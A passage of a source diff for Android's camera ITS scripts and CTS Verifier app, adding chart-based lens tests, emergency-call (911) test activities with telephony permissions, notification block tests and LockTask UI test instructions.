- y = its.image.flip_mirror_img_per_argv(y)
- chart = its.image.normalize_img(its.image.get_image_patch(y,
- xnorm, ynorm,
- wnorm, hnorm))
- its.image.write_image(chart, '%s_move_i=%d_chart.jpg' % (NAME, i))
- data['sharpness'] = white_level*its.image.compute_image_sharpness(chart)
+ y = its.image.rotate_img_per_argv(y)
+ chart.img = its.image.normalize_img(its.image.get_image_patch(
+ y, chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm))
+ its.image.write_image(chart.img, '%s_move_i=%d_chart.jpg' % (NAME, i))
+ data['sharpness'] = white_level*its.image.compute_image_sharpness(
+ chart.img)
print 'Chart sharpness: %.1f\n' % data['sharpness']
data_moving[i] = data
return data_static, data_moving
@@ -128,19 +118,23 @@
def main():
"""Test if focus position is properly reported for moving lenses."""
-
print '\nStarting test_lens_position.py'
+ # initialize chart class
+ chart = its.cv2image.Chart(CHART_FILE, CHART_HEIGHT, CHART_DISTANCE,
+ CHART_SCALE_START, CHART_SCALE_STOP,
+ CHART_SCALE_STEP)
+
with its.device.ItsSession() as cam:
props = cam.get_camera_properties()
its.caps.skip_unless(not its.caps.fixed_focus(props))
its.caps.skip_unless(its.caps.lens_calibrated(props))
fmt = {'format': 'yuv', 'width': VGA_WIDTH, 'height': VGA_HEIGHT}
- # Get proper sensitivity, exposure time, and focus distance with 3A.
- s, e, _, _, fd = cam.do_3a(get_results=True)
+ # Get proper sensitivity and exposure time with 3A
+ s, e, _, _, _ = cam.do_3a(get_results=True)
# Get sharpness for each focal distance
- d_stat, d_move = test_lens_position(cam, props, fmt, s, e, fd)
+ d_stat, d_move = test_lens_position(cam, props, fmt, s, e, chart)
print 'Lens stationary'
for k in sorted(d_stat):
print ('i: %d\tfd: %.3f\tlens location (diopters): %.3f \t'
diff --git a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
index e8a5b81..faacaf9 100644
--- a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
+++ b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
@@ -116,7 +116,7 @@
# Split by comma and convert each dimension to int.
[w, h] = map(int, s[9:].split(","))
elif s[:12] == "test_length=" and len(s) > 12:
- test_length = int(s[12:])
+ test_length = float(s[12:])
# Collect or load the camera+gyro data. All gyro events as well as camera
# timestamps are in the "events" dictionary, and "frames" is a list of
@@ -345,7 +345,7 @@
if num_features < MIN_FEATURE_PTS:
print "Not enough feature points in frame", i
print "Need at least %d features, got %d" % (
- MIN_FEATURE_PTS, num_features)
+ MIN_FEATURE_PTS, num_features)
assert 0
else:
print "Number of features in frame %d is %d" % (i, num_features)
@@ -447,13 +447,12 @@
fmt = {"format": "yuv", "width": w, "height": h}
s, e, _, _, _ = cam.do_3a(get_results=True, do_af=False)
req = its.objects.manual_capture_request(s, e)
- fps = 30
req["android.lens.focusDistance"] = 1 / (CHART_DISTANCE * CM_TO_M)
req["android.control.aeTargetFpsRange"] = [fps, fps]
req["android.sensor.frameDuration"] = int(1000.0/fps * MSEC_TO_NSEC)
- print "Capturing %dx%d with sens. %d, exp. time %.1fms" % (
- w, h, s, e*NSEC_TO_MSEC)
- caps = cam.do_capture([req]*fps*test_length, fmt)
+ print "Capturing %dx%d with sens. %d, exp. time %.1fms at %dfps" % (
+ w, h, s, e*NSEC_TO_MSEC, fps)
+ caps = cam.do_capture([req]*int(fps*test_length), fmt)
# Get the gyro events.
print "Reading out sensor events"
diff --git a/apps/CameraITS/tools/run_all_tests.py b/apps/CameraITS/tools/run_all_tests.py
index 47f7296..5788d19 100644
--- a/apps/CameraITS/tools/run_all_tests.py
+++ b/apps/CameraITS/tools/run_all_tests.py
@@ -21,13 +21,24 @@
import sys
import its.caps
+import its.cv2image
import its.device
+import its.image
from its.device import ItsSession
CHART_DELAY = 1 # seconds
+CHART_DISTANCE = 30.0 # cm
+CHART_HEIGHT = 13.5 # cm
+CHART_SCALE_START = 0.65
+CHART_SCALE_STOP = 1.35
+CHART_SCALE_STEP = 0.025
FACING_EXTERNAL = 2
NUM_TRYS = 2
+SCENE3_FILE = os.path.join(os.environ['CAMERA_ITS_TOP'], 'pymodules', 'its',
+ 'test_images', 'ISO12233.png')
SKIP_RET_CODE = 101 # note this must be same as tests/scene*/test_*
+VGA_HEIGHT = 480
+VGA_WIDTH = 640
def evaluate_socket_failure(err_file_path):
@@ -100,6 +111,7 @@
],
"scene3": [
"test_3a_consistency",
+ "test_flip_mirror",
"test_lens_movement_reporting",
"test_lens_position"
],
@@ -299,6 +311,15 @@
valid_scene_code = subprocess.call(cmd, cwd=topdir)
assert valid_scene_code == 0
print "Start running ITS on camera %s, %s" % (camera_id, scene)
+ # Extract chart from scene for scene3 once up front
+ chart_loc_arg = ''
+ if scene == 'scene3':
+ chart = its.cv2image.Chart(SCENE3_FILE, CHART_HEIGHT,
+ CHART_DISTANCE, CHART_SCALE_START,
+ CHART_SCALE_STOP, CHART_SCALE_STEP)
+ chart_loc_arg = 'chart_loc=%.2f,%.2f,%.2f,%.2f,%.3f' % (
+ chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm,
+ chart.scale)
# Run each test, capturing stdout and stderr.
for (testname, testpath) in tests:
if auto_scene_switch:
@@ -330,7 +351,7 @@
test_code = skip_code
if skip_code is not SKIP_RET_CODE:
cmd = ['python', os.path.join(os.getcwd(), testpath)]
- cmd += sys.argv[1:] + [camera_id_arg]
+ cmd += sys.argv[1:] + [camera_id_arg] + [chart_loc_arg]
with open(outpath, 'w') as fout, open(errpath, 'w') as ferr:
test_code = subprocess.call(
cmd, stderr=ferr, stdout=fout, cwd=outdir)
diff --git a/apps/CameraITS/tools/run_sensor_fusion_box.py b/apps/CameraITS/tools/run_sensor_fusion_box.py
index ec16b3d..41f1180 100644
--- a/apps/CameraITS/tools/run_sensor_fusion_box.py
+++ b/apps/CameraITS/tools/run_sensor_fusion_box.py
@@ -82,10 +82,6 @@
elif s[:8] == 'tmp_dir=' and len(s) > 8:
tmp_dir = s[8:]
- if camera_id not in ['0', '1']:
- print 'Need to specify camera 0 or 1'
- sys.exit()
-
# Make output directories to hold the generated files.
tmpdir = tempfile.mkdtemp(dir=tmp_dir)
print 'Saving output files to:', tmpdir, '\n'
@@ -94,6 +90,12 @@
device_id_arg = 'device=' + device_id
print 'Testing device ' + device_id
+ # ensure camera_id is valid
+ avail_camera_ids = find_avail_camera_ids(device_id_arg, tmpdir)
+ if camera_id not in avail_camera_ids:
+ print 'Need to specify valid camera_id in ', avail_camera_ids
+ sys.exit()
+
camera_id_arg = 'camera=' + camera_id
if rotator_ids:
rotator_id_arg = 'rotator=' + rotator_ids
@@ -104,6 +106,7 @@
fps_arg = 'fps=' + fps
test_length_arg = 'test_length=' + test_length
+ print 'Capturing at %sfps' % fps
os.mkdir(os.path.join(tmpdir, camera_id))
@@ -217,6 +220,28 @@
return line
return None
+def find_avail_camera_ids(device_id_arg, tmpdir):
+ """Find the available camera IDs.
+
+ Args:
+ devices_id_arg(str): device=###
+ tmpdir(str): generated tmp dir for run
+ Returns:
+ list of available cameras
+ """
+ avail_camera_ids = []
+ camera_ids_path = os.path.join(tmpdir, 'camera_ids.txt')
+ out_arg = 'out=' + camera_ids_path
+ cmd = ['python',
+ os.path.join(os.getcwd(), 'tools/get_camera_ids.py'), out_arg,
+ device_id_arg]
+ cam_code = subprocess.call(cmd, cwd=tmpdir)
+ assert cam_code == 0
+ with open(camera_ids_path, "r") as f:
+ for line in f:
+ avail_camera_ids.append(line.replace('\n', ''))
+ return avail_camera_ids
+
if __name__ == '__main__':
main()
diff --git a/apps/CtsVerifier/Android.mk b/apps/CtsVerifier/Android.mk
index 9fcbdb1..724848e 100644
--- a/apps/CtsVerifier/Android.mk
+++ b/apps/CtsVerifier/Android.mk
@@ -42,6 +42,8 @@
LOCAL_JAVA_LIBRARIES := legacy-android-test
+LOCAL_JAVA_LIBRARIES += telephony-common
+
LOCAL_PACKAGE_NAME := CtsVerifier
LOCAL_JNI_SHARED_LIBRARIES := libctsverifier_jni \
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 514056a..171e18c 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -67,6 +67,12 @@
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
+ <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+ <uses-permission android:name="android.permission.READ_SMS"/>
+ <uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/>
+ <uses-permission android:name="android.permission.RECEIVE_SMS" />
+ <uses-permission android:name="android.permission.SEND_SMS" />
+
<!-- Needed by UsbTest tapjacking -->
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
@@ -82,6 +88,11 @@
android:largeHeap="true"
android:theme="@android:style/Theme.DeviceDefault">
+ <provider android:name="android.location.cts.MmsPduProvider"
+ android:authorities="emergencycallverifier"
+ android:grantUriPermissions="true" />
+ <uses-library android:name="android.test.runner" />
+
<meta-data android:name="SuiteName" android:value="CTS_VERIFIER" />
<meta-data android:name="android.telephony.HIDE_VOICEMAIL_SETTINGS_MENU"
@@ -1099,6 +1110,43 @@
<meta-data android:name="test_required_features" android:value="android.hardware.location.gps" />
</activity>
+ <activity android:name=".location.EmergencyCallWifiTestsActivity"
+ android:label="@string/location_emergency_call_wifi_test"
+ android:screenOrientation="locked">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.cts.intent.category.MANUAL_TEST"/>
+ </intent-filter>
+ <meta-data android:name="test_category" android:value="@string/test_category_hardware"/>
+ <meta-data android:name="test_required_features" android:value="android.hardware.location.gps" />
+ <meta-data android:name="test_required_features" android:value="android.hardware.wifi" />
+ </activity>
+
+ <activity android:name=".location.EmergencyCallMessageTestsActivity"
+ android:label="@string/location_emergency_call_message_test"
+ android:screenOrientation="locked">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.cts.intent.category.MANUAL_TEST"/>
+ </intent-filter>
+ <meta-data android:name="test_category" android:value="@string/test_category_hardware"/>
+ <meta-data android:name="test_required_features" android:value="android.hardware.location.gps" />
+ <meta-data android:name="test_required_features" android:value="android.hardware.wifi" />
+ <meta-data android:name="test_required_features" android:value="android.hardware.telephony"/>
+ </activity>
+
+ <activity android:name=".location.EmergencyCallGNSSTestsActivity"
+ android:label="@string/location_emergency_call_gps_test"
+ android:screenOrientation="locked">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.cts.intent.category.MANUAL_TEST"/>
+ </intent-filter>
+ <meta-data android:name="test_category" android:value="@string/test_category_hardware"/>
+ <meta-data android:name="test_required_features" android:value="android.hardware.location.gps" />
+ <meta-data android:name="test_required_features" android:value="android.hardware.wifi" />
+ </activity>
+
<activity android:name=".location.GnssMeasurementWhenNoLocationTestsActivity"
android:label="@string/location_gnss_measure_no_location_test"
android:screenOrientation="locked">
@@ -1829,6 +1877,13 @@
<meta-data android:name="test_category" android:value="@string/test_category_notifications" />
</activity>
+ <receiver android:name=".notifications.BlockChangeReceiver">
+ <intent-filter>
+ <action android:name="android.app.action.NOTIFICATION_CHANNEL_BLOCK_STATE_CHANGED"/>
+ <action android:name="android.app.action.NOTIFICATION_CHANNEL_GROUP_BLOCK_STATE_CHANGED"/>
+ </intent-filter>
+ </receiver>
+
<activity android:name=".notifications.ConditionProviderVerifierActivity"
android:label="@string/cp_test">
<intent-filter>
@@ -2294,6 +2349,14 @@
android:label="@string/provisioning_byod_disallow_apps_control">
</activity>
+ <activity android:name=".managedprovisioning.LockTaskUiTestActivity"
+ android:label="@string/device_owner_lock_task_ui_test">
+ <intent-filter>
+ <action android:name="com.android.cts.verifier.managedprovisioning.action.STOP_LOCK_TASK" />
+ <category android:name="android.intent.category.DEFAULT" />
+ </intent-filter>
+ </activity>
+
<activity android:name=".managedprovisioning.WifiLockdownTestActivity"
android:label="@string/device_owner_wifi_lockdown_test">
</activity>
diff --git a/apps/CtsVerifier/res/layout/device_owner_lock_task_ui.xml b/apps/CtsVerifier/res/layout/device_owner_lock_task_ui.xml
new file mode 100644
index 0000000..00dee1a
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/device_owner_lock_task_ui.xml
@@ -0,0 +1,53 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ style="@style/RootLayoutPadding"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:orientation="vertical">
+
+ <ScrollView
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:fillViewport="true">
+ <LinearLayout
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:orientation="vertical">
+
+ <TextView
+ android:id="@+id/device_owner_lock_task_ui_instructions"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:text="@string/device_owner_lock_task_ui_test_info"
+ android:textSize="18dip" />
+
+ <Button
+ android:id="@+id/start_lock_task_button"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:text="@string/start_lock_task_button_label" />
+
+ <ListView
+ android:id="@+id/android:list"
+ android:layout_width="match_parent"
+ android:layout_height="0dp"
+ android:layout_weight="1" />
+
+ <include layout="@layout/pass_fail_buttons" />
+ </LinearLayout>
+ </ScrollView>
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/emergency_call_confirm_dialog.xml b/apps/CtsVerifier/res/layout/emergency_call_confirm_dialog.xml
new file mode 100644
index 0000000..fae5167
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/emergency_call_confirm_dialog.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+ <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:orientation="vertical"
+ style="@style/RootLayoutPadding">
+
+ <TextView android:id="@+id/info"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:layout_weight="1"
+ android:textSize="18sp"
+ android:padding="5dp"
+ android:text="@string/emergency_call_confirm_info"/>
+ <EditText
+ android:id="@+id/emergency_number"
+ android:layout_height="wrap_content"
+ android:layout_width="match_parent"
+ android:hint="@string/emergency_call_emergency_number_hint_text"
+ android:inputType="phone"
+ android:text="@string/emergency_call_emergency_number_text"/>
+ <Button
+ android:id="@+id/dial_button"
+ android:layout_width="200px"
+ android:layout_height="wrap_content"
+ android:text="@string/emergency_call_dial_text"
+ android:paddingLeft="5dp"
+ android:paddingRight="5dp"
+ android:layout_marginTop="5dp"
+ android:layout_marginRight="5dp"/>
+ </LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/emergency_call_msg_test_confirm_dialog.xml b/apps/CtsVerifier/res/layout/emergency_call_msg_test_confirm_dialog.xml
new file mode 100644
index 0000000..071e2bf
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/emergency_call_msg_test_confirm_dialog.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+ <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:orientation="vertical"
+ style="@style/RootLayoutPadding">
+
+ <TextView android:id="@+id/info"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:layout_weight="1"
+ android:textSize="18sp"
+ android:padding="5dp"
+ android:text="@string/emergency_call_confirm_info"/>
+ <EditText
+ android:id="@+id/emergency_number"
+ android:layout_height="wrap_content"
+ android:layout_width="match_parent"
+ android:hint="@string/emergency_call_emergency_number_hint_text"
+ android:inputType="phone"
+ android:text="@string/emergency_call_emergency_number_text"/>
+ <EditText
+ android:id="@+id/local_phone_number"
+ android:layout_height="wrap_content"
+ android:layout_width="match_parent"
+ android:hint="@string/emergency_call_current_number_hint_text"
+ android:inputType="phone"/>
+ <Button
+ android:id="@+id/dial_button"
+ android:layout_width="200px"
+ android:layout_height="wrap_content"
+ android:text="@string/emergency_call_dial_text"
+ android:paddingLeft="5dp"
+ android:paddingRight="5dp"
+ android:layout_marginTop="5dp"
+ android:layout_marginRight="5dp"/>
+ </LinearLayout>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 69f12de..77943cb 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -566,10 +566,32 @@
(for example, stationary on a windowsill. If needed, try again, outside, also with the
device stationary, and with at least some view of the sky.) and then press Next to run
the automated tests.</string>
+ <string name="location_emergency_call_test_info">This test verifies whether basic features
+ (wifi, sms, gps) works correctly during the emergency call. Make sure the device is using
+ a special white listed sim card. The wifi and GPS should be on and have internet connection.
+ </string>
+ <string name="emergency_call_confirm_info">This test will dial 911! Please make sure to use a
+ whitelisted sim card to run this test!
+ </string>
+ <string name="emergency_call_emergency_number_hint_text">
+ Emergency Number:
+ </string>
+ <string name="emergency_call_current_number_hint_text">
+ Current Number:
+ </string>
+ <string name="emergency_call_dial_text">
+ Dial 911
+ </string>
+ <string name="emergency_call_emergency_number_text">
+ 911
+ </string>
<string name="location_gnss_test_retry_info">If this test fails, please make sure the device
has line of sight to GNSS satellites (for example, stationary on a windowsill. If needed,
try again, outside, also with the device stationary, with as much view of the sky as
possible.) </string>
+ <string name="location_emergency_call_gps_test">Emergency Call GPS Test</string>
+ <string name="location_emergency_call_message_test">Emergency Call Message Test</string>
+ <string name="location_emergency_call_wifi_test">Emergency Call Wifi Test</string>
<!-- Strings for net.ConnectivityScreenOffTestActivity -->
<string name="network_screen_off_test">Network Connectivity Screen Off Test</string>
@@ -1525,8 +1547,11 @@
<string name="attention_phone_order">Check that ranker respects telephone URIs for contacts.</string>
<string name="attention_interruption_order">Check that ranker temporarily boosts interruptions.
This test takes 30 seconds to complete.</string>
- <string name="attention_none_are_filtered">Check that \"All\" mode doesn\'t filter any notifications.</string>
- <string name="attention_some_are_filtered">Check that \"Priority\" mode doesn\'t filter priority notifications.</string>
+ <string name="attention_none_are_filtered_messages">Check that \"All\" mode doesn\'t filter any notifications (messages).</string>
+ <string name="attention_none_are_filtered_diff_categories">Check that \"All\" mode doesn\'t filter any notifications (event, reminder, alarm).</string>
+ <string name="attention_some_are_filtered_messages">Check that \"Priority\" mode doesn\'t filter priority notifications (messages from starred contacts).</string>
+ <string name="attention_some_are_filtered_alarms">Check that \"Priority\" mode doesn\'t filter priority notifications (alarms).</string>
+ <string name="attention_some_are_filtered_media_system_other">Check that \"Priority\" mode doesn\'t filter priority notifications (media, system, other).</string>
<string name="attention_all_are_filtered">Check that \"None\" mode filters all notifications.</string>
<string name="nls_test">Notification Listener Test</string>
<string name="nas_test">Notification Assistant Test</string>
@@ -1564,6 +1589,10 @@
under Apps > Gear Icon > Default > Notification Assistant and return here.</string>
<string name="nls_enable_service">Please enable \"Notification Listener for CTS Verifier\"
under Apps > Gear Icon > Special Access > Notification Access and return here.</string>
+ <string name="nls_block_channel">Please block the linked notification channel and return here.</string>
+ <string name="nls_block_group">Please block the linked notification channel group and return here.</string>
+ <string name="nls_cannot_enable_service">Please make sure you cannot enable
+ \"Notification Listener for CTS Verifier\" and return here.</string>
<string name="nls_disable_service">Please disable \"Notification Listener for CTS Verifier\"
under Apps > Gear Icon > Special Access > Notification Access and return here.</string>
<string name="nls_start_settings">Launch Settings</string>
@@ -1580,6 +1609,7 @@
<string name="nas_snooze_context">Check that the Assistant can snooze a notification until a given context.</string>
<string name="nls_clear_one">Check that service can clear a notification.</string>
<string name="nls_clear_one_reason">Check that service can clear a notification and receive the correct reason for dismissal.</string>
+ <string name="nls_clear_one_stats">Check that service does not receive notification stats.</string>
<string name="nls_clear_all">Check that service can clear all notifications.</string>
<string name="nls_service_stopped">Service should stop once disabled.</string>
<string name="nls_note_missed">Check that notification was not received.</string>
@@ -1593,10 +1623,11 @@
<string name="nas_note_missed_enqueued">Check that notification was not enqueued.</string>
<string name="cp_test">Condition Provider test</string>
<string name="cp_service_name">Condition Provider for CTS Verifier</string>
- <string name="cp_info">This test checks that a ConditionProviderService can be enabled
+ <string name="cp_info">This test checks that on non-low ram a ConditionProviderService can be enabled
and disabled, and that once enabled the service is able to create, query, edit, and delete
- automatic zen rules.
+ automatic zen rules. On low ram devices condition providers should not be bound.
</string>
+ <string name="cp_cannot_enable_service">Please make sure you cannot enable \"CTS Verifier\" under Do Not Disturb access and return here.</string>
<string name="cp_enable_service">Please enable \"CTS Verifier\" under Do Not Disturb access and return here.</string>
<string name="cp_disable_service">Please disable \"CTS Verifier\" under Do Not Disturb access and return here.</string>
<string name="cp_start_settings">Launch Settings</string>
@@ -2664,6 +2695,142 @@
</string>
<string name="device_owner_disable_keyguard_button">Disable keyguard</string>
<string name="device_owner_reenable_keyguard_button">Reenable keyguard</string>
+ <string name="device_owner_lock_task_ui_test">LockTask UI</string>
+ <string name="device_owner_lock_task_ui_test_info">
+ The following tests verify the configurable UI during LockTask, a special mode that
+ prevents the user from leaving the current application.\n\n
+ Please make sure the lock screen is turned on before the test. Press the button below to
+ start LockTask mode. Then mark each item as \'pass\' or \'fail\' according to the
+ instructions.\n\n
+ Finally, execute the last test item to leave LockTask mode.
+ </string>
+ <string name="start_lock_task_button_label">Start LockTask mode</string>
+ <string name="device_owner_lock_task_ui_default_test">Default LockTask UI</string>
+ <string name="device_owner_lock_task_ui_default_test_info">
+ Observe the following UI restrictions. Mark the test as \'pass\' only if ALL of the
+ requirements below are met.\n\n
+ 1) Nothing is shown in the status bar, including notification icons, connectivity icons,
+ battery status, clock, etc.\n
+ 2) The status bar can\'t be expanded. That is, the \'swipe-down\' gesture doesn\'t work
+ for the status bar.\n
+ 3) The Home button is hidden.\n
+ 4) The Recents button is hidden.\n
+ 5) Long-press the power button. The power button menu, which usually shows the power-off
+ button, etc., isn\'t shown.\n
+ 6) Press the power button to turn off the screen, and press it again to turn the screen
+ back on. Lock screen shouldn\'t be shown.\n
+ 7) The assist gesture isn\'t available.
+ </string>
+ <string name="device_owner_lock_task_ui_system_info_test">Enable system info</string>
+ <string name="device_owner_lock_task_ui_system_info_test_info">
+ Press the button below to enable system info. Observe the system info area of the status
+ bar is now enabled. This includes the clock, connectivity info, battery info, etc.\n\n
+ The rest of the UI restrictions should still apply:\n
+ 1) Notification icons are still hidden on the status bar.\n
+ 2) The status bar can\'t be expanded. That is, the \'swipe-down\' gesture doesn\'t work
+ for the status bar.\n
+ 3) The Home button is hidden.\n
+ 4) The Recents button is hidden.\n
+ 5) Long-press the power button. The power button menu, which usually shows the power-off
+ button, etc., isn\'t shown.\n
+ 6) Press the power button to turn off the screen, and press it again to turn the screen
+ back on. Lock screen shouldn\'t be shown.\n
+ 7) The assist gesture isn\'t available.\n\n
+ Mark the test as \'pass\' only if ALL of the above requirements are met.
+ </string>
+ <string name="device_owner_lock_task_ui_notifications_test">Enable notifications</string>
+ <string name="device_owner_lock_task_ui_notifications_test_info">
+ Press the button below to enable notifications. Observe the notification icons on the
+ status bar are now enabled. The status bar can also be expanded to show the
+ notifications. However, all Settings UI should remain invisible, including Quick
+ Settings and any link to the Settings app.\n\n
+ The rest of the UI restrictions should still apply:\n
+ 1) System info area is still hidden on the status bar.\n
+ 2) The Home button is hidden.\n
+ 3) The Recents button is hidden.\n
+ 4) Long-press the power button. The power button menu, which usually shows the power-off
+ button, etc., isn\'t shown.\n
+ 5) Press the power button to turn off the screen, and press it again to turn the screen
+ back on. Lock screen shouldn\'t be shown.\n
+ 6) The assist gesture isn\'t available.\n\n
+ Mark the test as \'pass\' only if ALL of the above requirements are met.
+ </string>
+ <string name="device_owner_lock_task_ui_home_test">Enable Home button</string>
+ <string name="device_owner_lock_task_ui_home_test_info">
+ Press the button below to enable the Home button. Observe the Home button is now
+ enabled.\n\n
+ The rest of the UI restrictions should still apply:\n
+ 1) Nothing is shown in the status bar, including notification icons, connectivity icons,
+ battery status, clock, etc.\n
+ 2) The status bar can\'t be expanded. That is, the \'swipe-down\' gesture doesn\'t work
+ for the status bar.\n
+ 3) The Recents button is hidden.\n
+ 4) Long-press the power button. The power button menu, which usually shows the power-off
+ button, etc., isn\'t shown.\n
+ 5) Press the power button to turn off the screen, and press it again to turn the screen
+ back on. Lock screen shouldn\'t be shown.\n
+ 6) The assist gesture isn\'t available.\n\n
+ Mark the test as \'pass\' only if ALL of the above requirements are met.
+ </string>
+ <string name="device_owner_lock_task_ui_recents_test">Enable Recents button</string>
+ <string name="device_owner_lock_task_ui_recents_test_info">
+ Press the button below to enable the Recents button. Observe the Recents button is now
+ enabled. Press the Recents button and verify the Recents view can be opened.\n\n
+ The rest of the UI restrictions should still apply:\n
+ 1) Nothing is shown in the status bar, including notification icons, connectivity icons,
+ battery status, clock, etc.\n
+ 2) The status bar can\'t be expanded. That is, the \'swipe-down\' gesture doesn\'t work
+ for the status bar.\n
+ 3) The Home button is hidden.\n
+ 4) Long-press the power button. The power button menu, which usually shows the power-off
+ button, etc., isn\'t shown.\n
+ 5) Press the power button to turn off the screen, and press it again to turn the screen
+ back on. Lock screen shouldn\'t be shown.\n
+ 6) The assist gesture isn\'t available.\n\n
+ Mark the test as \'pass\' only if ALL of the above requirements are met.
+ </string>
+ <string name="device_owner_lock_task_ui_global_actions_test">Enable global actions</string>
+ <string name="device_owner_lock_task_ui_global_actions_test_info">
+ Press the button below to enable global actions (a.k.a. power button menu). Long-press
+ the power button and verify a menu containing power-off and restart buttons is shown.
+ This menu can\'t contain any UI that allows the user to change system settings (such as
+ airplane mode switch) or access the Settings app.\n\n
+ The rest of the UI restrictions should still apply:\n
+ 1) Nothing is shown in the status bar, including notification icons, connectivity icons,
+ battery status, clock, etc.\n
+ 2) The status bar can\'t be expanded. That is, the \'swipe-down\' gesture doesn\'t work
+ for the status bar.\n
+ 3) The Home button is hidden.\n
+ 4) The Recents button is hidden.\n
+ 5) Long-press the power button. The power button menu, which usually shows the power-off
+ button, etc., isn\'t shown.\n
+ 6) The assist gesture isn\'t available.\n\n
+ Mark the test as \'pass\' only if ALL of the above requirements are met.
+ </string>
+ <string name="device_owner_lock_task_ui_keyguard_test">Enable keyguard</string>
+ <string name="device_owner_lock_task_ui_keyguard_test_info">
+ Press the button below to enable keyguard. Press the power button to turn off the screen
+ and press it again to turn the screen back on. Verify that the lock screen is shown.\n\n
+ The rest of the UI restrictions should still apply, both on the lock screen and after
+ the lock screen is dismissed:\n
+ 1) Nothing is shown in the status bar, including notification icons, connectivity icons,
+ battery status, clock, etc.\n
+ 2) The status bar can\'t be expanded. That is, the \'swipe-down\' gesture doesn\'t work
+ for the status bar, even on the lock screen.\n
+ 3) The Home button is hidden.\n
+ 4) The Recents button is hidden.\n
+ 5) Long-press the power button. The power button menu, which usually shows the power-off
+ button, etc., isn\'t shown.\n
+ 6) The assist gesture isn\'t available.\n\n
+ Mark the test as \'pass\' only if ALL of the above requirements are met.
+ </string>
+ <string name="device_owner_lock_task_ui_stop_lock_task_test">Stop LockTask mode</string>
+ <string name="device_owner_lock_task_ui_stop_lock_task_test_info">
+ Press the button below to exit LockTask mode.\n\n
+ Observe that the UI has returned to the normal, unrestricted state, and is no longer
+ subject to any LockTask restriction.\n\n
+ Mark the test as \'pass\' or \'fail\' accordingly.
+ </string>
<string name="device_owner_lockscreen_secure">Please remove lockscreen password</string>
<string name="device_profile_owner_permission_lockdown_test">Permissions lockdown</string>
<string name="device_profile_owner_permission_lockdown_test_instructions">
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
index 8c779c5..8893e0d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
@@ -103,7 +103,7 @@
DevicePropertyInfo devicePropertyInfo = new DevicePropertyInfo(Build.CPU_ABI,
Build.CPU_ABI2, abis, abis32, abis64, Build.BOARD, Build.BRAND, Build.DEVICE,
Build.FINGERPRINT, Build.ID, Build.MANUFACTURER, Build.MODEL, Build.PRODUCT,
- referenceFingerprint, Build.SERIAL, Build.TAGS, Build.TYPE, versionBaseOs,
+ referenceFingerprint, Build.getSerial(), Build.TAGS, Build.TYPE, versionBaseOs,
Build.VERSION.RELEASE, Integer.toString(Build.VERSION.SDK_INT),
versionSecurityPatch, Build.VERSION.INCREMENTAL);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/EmergencyCallGNSSTestsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/EmergencyCallGNSSTestsActivity.java
new file mode 100644
index 0000000..1e24e6a
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/location/EmergencyCallGNSSTestsActivity.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
